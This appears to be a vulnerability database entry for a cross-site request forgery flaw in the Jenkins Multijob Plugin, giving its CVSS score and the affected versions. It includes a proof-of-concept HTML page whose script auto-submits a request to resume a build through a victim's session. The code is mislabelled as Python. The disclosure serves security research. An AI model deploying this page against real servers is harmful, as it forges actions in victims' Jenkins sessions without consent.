A cross-site request forgery (CSRF) vulnerability in Jenkins Multijob Plugin 662.vd2e0001f6b_b_d and earlier allows attackers to resume failed Multijob builds.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Jenkins Multijob Plugin <= 662.vd2e0001f6b_b_d
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-9674: CSRF to resume failed Multijob build -->
<!-- Attacker needs to host this file and send the link to a victim with Jenkins session -->
<html>
<body>
<h1>Loading...</h1>
<script>
// Replace with actual Jenkins job URL and build number
var targetUrl = "http://target-jenkins.com/job/Multijob-Test/1/resume";
function csrfRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", targetUrl, true);
// Send any required parameters if necessary, usually cookies are sent automatically by browser
xhr.send();
}
// Execute automatically on page load
csrfRequest();
</script>
</body>
</html>